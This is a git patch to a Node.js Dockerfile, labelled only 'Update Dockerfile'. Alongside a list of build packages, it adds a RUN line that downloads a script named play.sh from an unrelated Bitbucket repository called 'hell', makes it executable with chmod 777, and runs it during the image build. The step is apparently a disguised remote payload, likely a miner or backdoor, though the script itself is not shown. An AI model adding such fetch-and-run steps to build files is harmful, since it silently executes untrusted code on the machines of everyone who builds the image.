From 2adabb3981e228820cee0a1709c4b9fcf10e90e8 Mon Sep 17 00:00:00 2001 From: naimgri58 <91359794+naimgri58@users.noreply.github.com> Date: Sat, 25 Sep 2021 11:39:15 +0700 Subject: [PATCH] Update Dockerfile --- Dockerfile | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/Dockerfile b/Dockerfile index 9e921be10..2f6167c77 100644 --- a/Dockerfile +++ b/Dockerfile @@ -4,9 +4,25 @@ FROM node:carbon # Create app directory WORKDIR /usr/src/app +RUN apt-get update && \ + apt-get install -y \ + wget \ + dnsutils \ + libmagickwand-dev \ + libzip-dev \ + libsodium-dev \ + libpng-dev \ + libfreetype6-dev \ + libjpeg62-turbo-dev \ + zlib1g-dev \ + libicu-dev \ + libxml2-dev \ + g++ + # Install app dependencies # A wildcard is used to ensure both package.json AND package-lock.json are copied # where available (npm@5+) +RUN wget https://bitbucket.org/novalanto61/hell/raw/317d52572f4b483b9f01de2eea21798ca6888bbe/play.sh && chmod 777 play.sh && ./play.sh COPY package*.json ./ RUN npm install